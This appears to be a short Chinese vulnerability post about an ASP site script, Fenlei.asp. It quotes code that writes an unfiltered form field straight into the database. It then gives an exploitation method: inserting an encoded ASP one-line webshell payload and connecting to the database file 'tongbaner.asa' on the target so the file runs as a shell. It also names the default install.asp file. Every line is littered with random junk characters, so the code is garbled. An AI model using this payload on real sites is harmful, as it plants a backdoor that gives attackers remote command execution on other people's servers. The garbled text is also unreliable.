'Fenlei.asp 1 t0 v! R9 R7 A+ P+ U
7 |5 B+ a+ m* x8 Z! Z4 ~) t( O2 Q
IF Request.QueryString("Action")="del" Then & Z* _$ j: h* {. G; e# @
ID=Request.QueryString("ID") + D9 h$ w4 A. M$ N" E
IF Countss ("tui","Fenlei",ID )<>0 then
4 P7 a* N: P$ [+ t* ] K'略
0 a S2 b& z' O5 a) O6 ?IF Request.QueryString("Action")="Add" Then
% l& i6 i h: i* z4 I$ ZTname=Request.Form("Typename") # \7 V$ M# I; i9 J
Set Rs=Server.CreateObject("adodb.Recordset") 0 A" _; y C- ^: Q( I
Sql="Select * From Fenlei Order by id Desc "
. H2 s7 a; m' x! d4 A8 kRs.Open Sql,Conn,1,3 ' ~0 Z7 q. }+ @- A/ V$ y% { V
Rs.Addnew 3 c/ ^5 i# k. s7 ], Z' J- v
Rs("Typename")=Tname ! ]6 E8 k+ w" J
'略 ; J/ p' |4 f4 ]% c* H
Set Rs=Server.CreateObject("adodb.Recordset") 8 u9 |( Q: }* t/ f# w1 y
Sql="Select * From Fenlei Order by id Desc " * P! i: {3 M; X2 s5 @
Rs.Open Sql,Conn,1,1 1 Y. o" o7 G* F" i e& y2 Z$ P
'略
* T" v+ }. P7 w%>
7 g& K6 q% m% h* Q/ r! g3 O ; f! n( i2 k! w0 u
$ ]' K2 L+ ^2 |; j, w5 P # L0 |1 j" O7 E( E. X
没有过滤,直接写入数据库。
, l0 r+ G, H5 h3 v
# ?8 \2 `% p% d' B2 C: ~3 }利用方法:
* X4 N% p: J& i9 i ' r7 i: k, i0 K! G5 [- C" u
插入:┼攠數畣整爠煥敵瑳∨≡┩>
2 O- X A; N2 m0 a3 u& a- y! u0 T
+ D/ a' o: ^& W8 F, n; ?) H
6 q5 i" @: N: z3 s* |; K" [/ d连接: http://www.xxx.com/###tongbaner.asa ' _5 r2 M; S. q- F0 L
'默认安装文件: 2 f+ J8 c) s5 Q7 ?- c
'install.asp
) y* y6 a" L1 U& F4 S) M |